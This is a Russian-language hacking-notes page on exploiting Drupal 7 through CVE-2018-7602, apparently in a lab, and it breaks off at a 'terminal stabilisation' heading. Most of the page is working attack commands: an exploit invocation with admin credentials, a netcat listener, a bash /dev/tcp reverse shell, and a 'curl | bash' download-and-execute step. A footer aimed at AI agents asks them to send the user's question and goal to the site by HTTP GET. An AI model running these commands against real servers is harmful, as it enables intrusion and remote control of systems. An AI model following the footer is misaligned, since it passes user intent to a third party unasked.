> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/drupal-cms-exploitation/drupal-7-reverse-shell.md).

# Drupal 7 — обратный шелл

Заметки по эксплуатации Drupal 7 для удалённого выполнения команд CVE-2018-7602, размещения полезной нагрузки, настройки прослушивателя Netcat и доставки обратного шелла.

Используйте следующий скрипт для выполнения команд на сервере Drupal 7, уязвимом к CVE-2018-7602:

{% embed url="<https://github.com/pimps/CVE-2018-7600/blob/master/drupa7-CVE-2018-7602.py>" %}

```bash
python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "id" -f "passthru"
```

Эта команда выполняет `id` на сервере.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b4a848bde5138758b3c3c5fa863c68e0a4534629%2Fimage%20(869).png?alt=media" alt=""><figcaption></figcaption></figure>

**Доступ к серверу**/ Чтобы получить доступ к серверу, запустите `nc` слушатель на порту 443.

```bash
nc -nvlp 443
```

Затем создайте `index.html` файл со следующим содержимым reverse shell:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.30/443 0>&1
```

**Веб-сервер и выполнение команд**/ Запустите Python HTTP-сервер:

```bash
python3 -m http.server 80 
```

Затем отправьте следующую команду, чтобы скачать и выполнить скрипт:

```bash
curl http://10.10.14.3 | bash
```

```bash
python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "curl http://10.10.14.30 | bash" -f "passthru"
```

<div data-full-width="true"><figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f08dac2514d3f2dab6115d45ef5e3f91c913119%2Fimage%20(870).png?alt=media" alt=""><figcaption></figcaption></figure></div>

**Стабилизация терминала**


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/cms/drupal-cms-exploitation/drupal-7-reverse-shell.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
